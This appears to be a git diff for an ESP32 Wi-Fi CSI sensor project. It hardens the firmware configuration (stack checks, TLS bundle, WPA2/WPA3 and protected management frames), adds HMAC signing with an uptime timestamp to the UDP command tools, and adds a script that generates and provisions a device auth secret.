xTaskCreate(serial_task, "serial", 3072, NULL, 2, NULL);
|
||||
|
||||
/* OTA rollback: mark firmware valid if we got this far */
|
||||
const esp_partition_t *running = esp_ota_get_running_partition();
|
||||
|
||||
@@ -14,6 +14,7 @@ CONFIG_ESP_CONSOLE_UART_NUM=0
|
||||
CONFIG_CONSOLE_UART_BAUDRATE=921600
|
||||
|
||||
CONFIG_ESP_TASK_WDT_TIMEOUT_S=30
|
||||
CONFIG_ESP_TASK_WDT_PANIC=y
|
||||
|
||||
CONFIG_ESPTOOLPY_MONITOR_BAUD_921600B=y
|
||||
CONFIG_ESPTOOLPY_MONITOR_BAUD=921600
|
||||
@@ -30,6 +31,8 @@ CONFIG_ESP32_WIFI_AMPDU_RX_ENABLED=
|
||||
# Compiler options (size optimization saves ~75 KB)
|
||||
#
|
||||
CONFIG_COMPILER_OPTIMIZATION_SIZE=y
|
||||
CONFIG_COMPILER_STACK_CHECK_MODE_NORM=y
|
||||
CONFIG_HEAP_POISONING_LIGHT=y
|
||||
|
||||
#
|
||||
# FreeRTOS
|
||||
@@ -66,6 +69,12 @@ CONFIG_PARTITION_TABLE_CUSTOM_FILENAME="partitions.csv"
|
||||
CONFIG_BOOTLOADER_APP_ROLLBACK_ENABLE=y
|
||||
CONFIG_ESP_HTTPS_OTA_ALLOW_HTTP=y
|
||||
|
||||
#
|
||||
# TLS Certificate Bundle (CA root store for HTTPS OTA)
|
||||
#
|
||||
CONFIG_MBEDTLS_CERTIFICATE_BUNDLE=y
|
||||
CONFIG_MBEDTLS_CERTIFICATE_BUNDLE_DEFAULT_FULL=y
|
||||
|
||||
#
|
||||
# BLE (NimBLE, scan-only, WiFi coexistence)
|
||||
#
|
||||
@@ -82,3 +91,14 @@ CONFIG_ESP_WIFI_IRAM_OPT=n
|
||||
#
|
||||
CONFIG_PM_ENABLE=y
|
||||
CONFIG_FREERTOS_USE_TICKLESS_IDLE=y
|
||||
|
||||
#
|
||||
# WiFi Authentication (reject open/WEP APs)
|
||||
#
|
||||
CONFIG_EXAMPLE_WIFI_AUTH_WPA2_WPA3_PSK=y
|
||||
|
||||
#
|
||||
# Protected Management Frames (802.11w) — prevent deauth attacks
|
||||
#
|
||||
CONFIG_ESP_WIFI_PMF_ENABLED=y
|
||||
CONFIG_ESP_WIFI_PMF_REQUIRED=y
|
||||
|
||||
@@ -435,7 +435,7 @@ CONFIG_PARTITION_TABLE_MD5=y
|
||||
#
|
||||
# CSI UDP Configuration
|
||||
#
|
||||
CONFIG_CSI_UDP_TARGET_IP="192.168.129.11"
|
||||
CONFIG_CSI_UDP_TARGET_IP="0.0.0.0"
|
||||
CONFIG_CSI_UDP_TARGET_PORT=5500
|
||||
CONFIG_CSI_CMD_PORT=5501
|
||||
CONFIG_CSI_HOSTNAME="your-hostname"
|
||||
|
||||
@@ -3,8 +3,9 @@
|
||||
|
||||
import socket
|
||||
import sys
|
||||
import time
|
||||
|
||||
from esp_ctl.auth import sign_command
|
||||
from esp_ctl.auth import get_secret, sign_command
|
||||
|
||||
DEFAULT_PORT = 5501
|
||||
TIMEOUT = 2.0
|
||||
@@ -37,14 +38,35 @@ def resolve(host):
|
||||
sys.exit(1)
|
||||
|
||||
|
||||
def get_uptime(ip):
|
||||
"""Query device uptime_s for HMAC timestamp (unauthenticated)."""
|
||||
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
sock.settimeout(TIMEOUT)
|
||||
try:
|
||||
sock.sendto(b"STATUS", (ip, DEFAULT_PORT))
|
||||
data, _ = sock.recvfrom(1500)
|
||||
for part in data.decode().split():
|
||||
if part.startswith("uptime_s="):
|
||||
return int(part.split("=", 1)[1])
|
||||
except (socket.timeout, OSError, ValueError):
|
||||
pass
|
||||
finally:
|
||||
sock.close()
|
||||
return 0
|
||||
|
||||
|
||||
def main():
|
||||
if len(sys.argv) < 3 or sys.argv[1] in ("-h", "--help"):
|
||||
print(USAGE)
|
||||
sys.exit(0 if sys.argv[1:] and sys.argv[1] in ("-h", "--help") else 2)
|
||||
|
||||
host = sys.argv[1]
|
||||
cmd = sign_command(" ".join(sys.argv[2:]).strip())
|
||||
ip = resolve(host)
|
||||
secret = get_secret()
|
||||
uptime = get_uptime(ip) if secret else 0
|
||||
if secret and uptime:
|
||||
time.sleep(0.06) # avoid firmware rate limiter (50ms)
|
||||
cmd = sign_command(" ".join(sys.argv[2:]).strip(), uptime, secret)
|
||||
|
||||
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
sock.settimeout(TIMEOUT)
|
||||
|
||||
@@ -10,7 +10,7 @@ import sys
|
||||
import threading
|
||||
import time
|
||||
|
||||
from esp_ctl.auth import sign_command
|
||||
from esp_ctl.auth import get_secret, sign_command
|
||||
|
||||
DEFAULT_PORT = 5501
|
||||
DEFAULT_HTTP_PORT = 8070
|
||||
@@ -53,15 +53,37 @@ Examples:
|
||||
esp-fleet ota --parallel /path/to/firmware.bin"""
|
||||
|
||||
|
||||
def _get_uptime(ip, timeout=TIMEOUT):
|
||||
"""Query device uptime_s for HMAC timestamp (unauthenticated)."""
|
||||
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
sock.settimeout(timeout)
|
||||
try:
|
||||
sock.sendto(b"STATUS", (ip, DEFAULT_PORT))
|
||||
data, _ = sock.recvfrom(1500)
|
||||
for part in data.decode().split():
|
||||
if part.startswith("uptime_s="):
|
||||
return int(part.split("=", 1)[1])
|
||||
except (socket.timeout, OSError, ValueError):
|
||||
pass
|
||||
finally:
|
||||
sock.close()
|
||||
return 0
|
||||
|
||||
|
||||
def query(name, host, cmd):
|
||||
"""Send command to one sensor, return (name, reply_or_error)."""
|
||||
cmd = sign_command(cmd)
|
||||
try:
|
||||
info = socket.getaddrinfo(host, DEFAULT_PORT, socket.AF_INET, socket.SOCK_DGRAM)
|
||||
ip = info[0][4][0]
|
||||
except socket.gaierror:
|
||||
return (name, f"ERR: cannot resolve {host}")
|
||||
|
||||
secret = get_secret()
|
||||
uptime = _get_uptime(ip) if secret else 0
|
||||
if secret and uptime:
|
||||
time.sleep(0.06) # avoid firmware rate limiter (50ms)
|
||||
cmd = sign_command(cmd, uptime, secret)
|
||||
|
||||
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
sock.settimeout(TIMEOUT)
|
||||
try:
|
||||
@@ -87,7 +109,11 @@ def _resolve(host):
|
||||
|
||||
def _udp_cmd(ip, cmd, timeout=TIMEOUT):
|
||||
"""Send signed UDP command and return reply string."""
|
||||
cmd = sign_command(cmd)
|
||||
secret = get_secret()
|
||||
uptime = _get_uptime(ip, timeout) if secret else 0
|
||||
if secret and uptime:
|
||||
time.sleep(0.06) # avoid firmware rate limiter (50ms)
|
||||
cmd = sign_command(cmd, uptime, secret)
|
||||
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
sock.settimeout(timeout)
|
||||
try:
|
||||
|
||||
@@ -9,7 +9,7 @@ import sys
|
||||
import threading
|
||||
import time
|
||||
|
||||
from esp_ctl.auth import sign_command
|
||||
from esp_ctl.auth import get_secret, sign_command
|
||||
|
||||
DEFAULT_CMD_PORT = 5501
|
||||
DEFAULT_HTTP_PORT = 8070
|
||||
@@ -32,9 +32,44 @@ def resolve(host: str) -> str:
|
||||
sys.exit(1)
|
||||
|
||||
|
||||
_uptime_cache = {"ip": None, "value": 0, "time": 0}
|
||||
|
||||
|
||||
def get_uptime(ip: str, timeout: float = TIMEOUT) -> int:
|
||||
"""Query device uptime_s for HMAC timestamp (unauthenticated).
|
||||
|
||||
Caches result for 3s to avoid hitting the firmware rate limiter
|
||||
when multiple udp_cmd calls happen in quick succession.
|
||||
"""
|
||||
now = time.monotonic()
|
||||
if _uptime_cache["ip"] == ip and (now - _uptime_cache["time"]) < 3:
|
||||
elapsed = int(now - _uptime_cache["time"])
|
||||
return _uptime_cache["value"] + elapsed
|
||||
|
||||
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
sock.settimeout(timeout)
|
||||
try:
|
||||
sock.sendto(b"STATUS", (ip, DEFAULT_CMD_PORT))
|
||||
data, _ = sock.recvfrom(1500)
|
||||
for part in data.decode().split():
|
||||
if part.startswith("uptime_s="):
|
||||
val = int(part.split("=", 1)[1])
|
||||
_uptime_cache.update(ip=ip, value=val, time=now)
|
||||
return val
|
||||
except (socket.timeout, OSError, ValueError):
|
||||
pass
|
||||
finally:
|
||||
sock.close()
|
||||
return 0
|
||||
|
||||
|
||||
def udp_cmd(ip: str, cmd: str, timeout: float = TIMEOUT) -> str:
|
||||
"""Send UDP command and return reply."""
|
||||
cmd = sign_command(cmd)
|
||||
secret = get_secret()
|
||||
uptime = get_uptime(ip, timeout) if secret else 0
|
||||
if secret and uptime:
|
||||
time.sleep(0.06) # avoid firmware rate limiter (50ms)
|
||||
cmd = sign_command(cmd, uptime, secret)
|
||||
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
sock.settimeout(timeout)
|
||||
try:
|
||||
|
||||
138
tools/esp-provision
Executable file
138
tools/esp-provision
Executable file
@@ -0,0 +1,138 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Provision auth secret to ESP32 CSI device NVS via USB serial."""
|
||||
|
||||
import argparse
|
||||
import os
|
||||
import secrets
|
||||
import subprocess
|
||||
import sys
|
||||
import tempfile
|
||||
|
||||
NVS_GEN = os.path.expanduser(
|
||||
"~/esp/esp-idf/components/nvs_flash/nvs_partition_generator/nvs_partition_gen.py"
|
||||
)
|
||||
NVS_NAMESPACE = "csi_config"
|
||||
NVS_OFFSET = "0x9000"
|
||||
NVS_SIZE = "0x4000"
|
||||
DEFAULT_PORT = "/dev/ttyUSB0"
|
||||
DEFAULT_BAUD = "460800"
|
||||
|
||||
|
||||
def generate_secret() -> str:
|
||||
"""Generate a 32-char hex secret."""
|
||||
return secrets.token_hex(16)
|
||||
|
||||
|
||||
def create_nvs_csv(secret: str, path: str) -> None:
|
||||
"""Write NVS CSV with auth_secret entry."""
|
||||
with open(path, "w") as f:
|
||||
f.write("key,type,encoding,value\n")
|
||||
f.write(f"{NVS_NAMESPACE},namespace,,\n")
|
||||
f.write(f"auth_secret,data,string,{secret}\n")
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(
|
||||
description="Provision auth secret to ESP32 NVS partition"
|
||||
)
|
||||
parser.add_argument(
|
||||
"secret", nargs="?", default=None,
|
||||
help="Auth secret (8-64 chars). Auto-generated if omitted."
|
||||
)
|
||||
parser.add_argument(
|
||||
"-p", "--port", default=DEFAULT_PORT,
|
||||
help=f"USB serial port (default: {DEFAULT_PORT})"
|
||||
)
|
||||
parser.add_argument(
|
||||
"-b", "--baud", default=DEFAULT_BAUD,
|
||||
help=f"Flash baud rate (default: {DEFAULT_BAUD})"
|
||||
)
|
||||
parser.add_argument(
|
||||
"--serial", action="store_true",
|
||||
help="Set secret via serial console instead of NVS flash"
|
||||
)
|
||||
parser.add_argument(
|
||||
"--generate-only", action="store_true",
|
||||
help="Generate and print a secret without flashing"
|
||||
)
|
||||
args = parser.parse_args()
|
||||
|
||||
# Generate or validate secret
|
||||
secret = args.secret or generate_secret()
|
||||
if len(secret) < 8 or len(secret) > 64:
|
||||
print("ERR: secret must be 8-64 characters", file=sys.stderr)
|
||||
sys.exit(1)
|
||||
|
||||
if args.generate_only:
|
||||
print(secret)
|
||||
sys.exit(0)
|
||||
|
||||
if args.serial:
|
||||
# Set secret via serial console (device must be running)
|
||||
try:
|
||||
import serial
|
||||
except ImportError:
|
||||
print("ERR: pyserial required (pip install pyserial)", file=sys.stderr)
|
||||
sys.exit(1)
|
||||
|
||||
import time
|
||||
s = serial.Serial(args.port, 921600, timeout=2)
|
||||
s.reset_input_buffer()
|
||||
s.write(f"AUTH {secret}\n".encode())
|
||||
time.sleep(0.5)
|
||||
out = s.read(s.in_waiting or 256).decode("utf-8", errors="replace")
|
||||
s.close()
|
||||
|
||||
ok = False
|
||||
for line in out.splitlines():
|
||||
if "OK AUTH on" in line:
|
||||
ok = True
|
||||
break
|
||||
|
||||
if ok:
|
||||
print(f"Secret set: {secret}")
|
||||
else:
|
||||
print(f"ERR: unexpected response: {out.strip()}", file=sys.stderr)
|
||||
sys.exit(1)
|
||||
sys.exit(0)
|
||||
|
||||
# NVS flash method
|
||||
if not os.path.isfile(NVS_GEN):
|
||||
print(f"ERR: NVS generator not found: {NVS_GEN}", file=sys.stderr)
|
||||
print(" Ensure ESP-IDF is installed at ~/esp/esp-idf/", file=sys.stderr)
|
||||
sys.exit(1)
|
||||
|
||||
with tempfile.TemporaryDirectory() as tmpdir:
|
||||
csv_path = os.path.join(tmpdir, "nvs.csv")
|
||||
bin_path = os.path.join(tmpdir, "nvs.bin")
|
||||
|
||||
# Generate NVS partition binary
|
||||
create_nvs_csv(secret, csv_path)
|
||||
result = subprocess.run(
|
||||
[sys.executable, NVS_GEN, "generate", csv_path, bin_path, NVS_SIZE],
|
||||
capture_output=True, text=True,
|
||||
)
|
||||
if result.returncode != 0:
|
||||
print(f"ERR: NVS generation failed:\n{result.stderr}", file=sys.stderr)
|
||||
sys.exit(1)
|
||||
|
||||
# Flash NVS partition
|
||||
print(f"Flashing auth secret to NVS at {NVS_OFFSET}...")
|
||||
result = subprocess.run(
|
||||
[
|
||||
sys.executable, "-m", "esptool",
|
||||
"--port", args.port, "--baud", args.baud,
|
||||
"write_flash", NVS_OFFSET, bin_path,
|
||||
],
|
||||
capture_output=True, text=True,
|
||||
)
|
||||
if result.returncode != 0:
|
||||
print(f"ERR: flash failed:\n{result.stderr}", file=sys.stderr)
|
||||
sys.exit(1)
|
||||
|
||||
print(f"Secret provisioned: {secret}")
|
||||
print(f" Add to environment: export ESP_CMD_SECRET=\"{secret}\"")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
Reference in New Issue
Block a user